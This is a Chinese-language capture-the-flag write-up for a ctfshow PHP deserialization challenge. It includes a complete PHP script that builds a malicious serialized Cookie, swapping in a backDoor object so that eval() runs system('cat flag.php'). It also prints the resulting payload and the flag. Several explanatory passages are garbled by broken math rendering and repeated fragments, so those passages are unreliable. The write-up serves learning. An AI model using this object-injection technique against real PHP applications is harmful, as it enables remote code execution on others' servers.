这是一道反序列化漏洞,我们通过代码审计可以知道,这里存在漏洞注入点,它允许用户通过控制浏览器 Cookie 中的 user 字段,向服务器传入任意序列化后的对象
$user->login(...):这句代码看似是登录验证,但它的核心作用是强制触发反序列化后对象的魔术方法。在脚本执行完毕或对象调用结束后,PHP 会自动触发该对象的析构函数 __destruct()

然后我们就要想办法来触发

因为这个类中存在一个eval()函数,会把传入的字符串当成代码执行,所以我们要想办法让getinfo()函数执行,就是要使__destruct()函数执行

所以我们先通过 HTTP GET 请求获取 URL 中的 username 和 password 参数,这里只是判断是否同时传入了 username 和 password 两个参数(哪怕值为空,只要传递了参数名即可满足条件)
原本ctfShowUser 的 $class 属性是一个 info 对象
但由于反序列化允许我们控制对象的属性,我们可以在序列化数据中,强行将 ctfShowUser 的 $class 属性修改为 backDoor 对象
当反序列化 ctfShowUser 对象时,PHP 发现它包含一个 $class 属性,且这个属性是一个 backDoor 对象
当脚本执行完毕,ctfShowUser 的 __destruct() 被触发
执行 $this->class->getInfo() 时,由于此时的 class已经是backDoor对象,程序实际上调用的是backDoor−>getInfo()从而成功触发eval(class 已经是 backDoor 对象,程序实际上调用的是 backDoor->getInfo() 从而成功触发 eval(class已经是backDoor对象,程序实际上调用的是backDoor−>getInfo()从而成功触发eval(this->code)
注意事项
私有属性(Private):代码中的属性如 username, password, class, code 全都是 private 属性。在 PHP 中,私有属性序列化时,变量名前后会带有特殊的不可见字符(\x00 空字节)。
格式通常为:\x00类名\x00变量名。
因此,在本地生成序列化字符串时,应当直接使用 PHP 脚本来 serialize() 目标对象,以防手动拼接时漏掉不可见字符。
php脚本为
php
<?php
// 1. 声明与题目结构完全一致的类
class ctfShowUser {
// 这里的私有属性名必须与题目完全一致
private $username = 'xxxxxx';
private $password = 'xxxxxx';
private $isVip = false;
private $class; // 稍后会在外部给它赋值
public function __construct() {
// 构造函数可以留空,或者用来接收你想赋的值
}
}
class backDoor {
private $code;
public function __construct($cmd) {
$this->code = $cmd; // 将我们要执行的系统命令赋给 $code
}
}
// 2. 实例化后门类,并写入你想执行的 PHP 代码
// 比如我们想用 system('ls'); 来查看当前目录下的文件
$backdoorObj = new backDoor("system('cat flag.php');");
// 注:如果不确定 flag 在哪,可以先用 "system('ls');" 或 "system('find / -name flag*');" 寻找
// 3. 实例化主类,并将主类里的 $class 属性替换为后门对象
$userObj = new ctfShowUser();
// 由于 $class 是 private 属性,我们不能直接 $userObj->class = ...
// 我们可以通过反射(Reflection)来强制修改它,或者直接在类定义里把 $class 改为 public(生成序列化时再改回 private)
// 最简单的方法是:直接在上面的类定义中,将 $class 的修饰符临时改为 public
// 或者是利用反射机制修改,如下:
$reflection = new ReflectionClass('ctfShowUser');
$property = $reflection->getProperty('class');
$property->setAccessible(true);
$property->setValue($userObj, $backdoorObj);
// 4. 进行序列化并输出
echo urlencode(serialize($userObj));
?>

右边的就是被url编码后的cookie的值了
现在我们只需要在题目页面的cookie中添加上这串值就好了

最后查看源代码就得到flag

flag为:ctfshow{6b94ca82-161b-4904-b62d-41bfc1f37ec9}
补充:因为cookie中传入的值在为被url编码前是:
O:11:"ctfShowUser":4:{s:21:"ctfShowUserusername";s:6:"xxxxxx";s:21:"ctfShowUserpassword";s:6:"xxxxxx";s:18:"ctfShowUserisVip";b:0;s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:23:"system('cat flag.php');";}}

正常来看反序列化后的值会传给$user变量,但是OP链 引起的变量传递连锁反应:
整个反序列化对象传给了 user。页面关掉,user。 页面关掉,user。页面关掉,user 释放,自动触发 KaTeX parse error: Expected group after '_' at position 7: user->_̲_destruct()。 在析...this->class->getInfo();。
因为我们把内部变量 this−>class换成了backDoor对象,所以程序走向了backDoor类的getInfo()。在backDoor内部,执行了eval(this->class 换成了 backDoor 对象,所以程序走向了 backDoor 类的 getInfo()。 在 backDoor 内部,执行了 eval(this−>class换成了backDoor对象,所以程序走向了backDoor类的getInfo()。在backDoor内部,执行了eval(this->code);。此时,我们在序列化字符串里提前准备好的、藏在 $this->code 变量里的恶意字符串(system('cat flag.php');),就正式传入了 eval() 中。